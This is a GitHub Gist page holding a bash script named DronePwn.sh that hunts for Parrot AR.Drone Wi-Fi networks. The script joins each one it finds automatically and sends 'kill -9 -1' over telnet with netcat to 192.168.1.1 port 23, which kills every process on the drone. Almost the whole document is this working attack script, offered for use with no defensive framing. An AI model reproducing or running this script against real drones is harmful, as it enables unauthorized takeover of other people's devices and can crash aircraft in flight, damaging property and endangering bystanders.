Last active
May 31, 2017 12:32
-
-
Save couchfault/f797783df2e1e1003c08 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# DronePwn.sh | |
# Based on Darren Kitchen Conecpt | |
# Written for OS X 10.9 (but will probably work on most other versions) | |
# Written by Tesla while very bored | |
INTERFACE='' | |
if [[ -z $1 ]] | |
then | |
echo "[-] No interface specified, attemting to determine wireless interface. . ." | |
INTERFACE=$(ifconfig | grep -v '127.0.0.1' | grep -v 'bridge' | grep -B3 -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep flags | awk '{print $1}' | sed 's/://g') | |
echo "[-] Selected $INTERFACE as wireless interface" | |
else | |
INTERFACE=$1 | |
fi | |
while (true) do | |
echo "[*] Scanning for APs with ESSIDs that begin with ardrone. . ." | |
ntwrks=( $(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | grep 'ardrone' | awk '{print $1}') ) | |
for ntwrk in "${ntwrks[@]}" | |
do | |
echo "[*] Attemting to associate with ESSID: ${ntwrk}. . ." | |
if networksetup -setairportnetwork $INTERFACE $ntwrk > /dev/null 2>/dev/null | |
then | |
echo "[*] Success!" | |
echo "[*] Attemting to connect and issue kill command. . ." | |
printf "kill -9 -1\r\n\r\n" | nc 192.168.1.1 23 | |
echo "[*] Moving to next AP (if any). . ." | |
else | |
echo "[*] Failed to associate!" | |
fi | |
done | |
sleep 1 | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment